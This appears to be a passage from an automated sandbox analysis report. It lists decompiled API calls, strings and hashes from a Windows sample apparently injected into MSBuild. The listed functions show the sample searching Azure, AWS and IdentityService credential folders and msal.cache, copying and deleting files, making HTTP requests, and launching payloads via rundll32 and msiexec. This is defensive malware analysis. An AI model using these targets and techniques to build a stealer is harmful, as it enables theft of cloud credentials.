Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,013F0578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,01404FD8,00421318,01404FD8,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01404D78,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

msal.cache, xrefs: 00414EF0
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
Azure\.aws, xrefs: 00414E5F
\.aws\, xrefs: 00414E4D
\.azure\, xrefs: 00414DC1
*.*, xrefs: 00414E64
Azure\.azure, xrefs: 00414DD3
\.IdentityService\, xrefs: 00414ED9
Azure\.IdentityService, xrefs: 00414EEB
*.*, xrefs: 00414DD8

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,013F9B80,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,01404FD8,00421474,01404FD8,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,013F0578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,014034C8,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
%s\%s, xrefs: 0041844D
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,01404DA8), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,01406470,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 004064C9
GET, xrefs: 0040637C
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,013F0578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415636
ERROR, xrefs: 004159FE
ERROR, xrefs: 00415849
ERROR, xrefs: 00415932
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415693

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

C:\Windows\system32\msiexec.exe, xrefs: 004134BF
.dll, xrefs: 004131E5
/i ", xrefs: 004133E4
"" , xrefs: 0041309A
.msi, xrefs: 00413398
/passive, xrefs: 0041345B
<, xrefs: 00413490
C:\Windows\system32\rundll32.exe, xrefs: 00413332

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

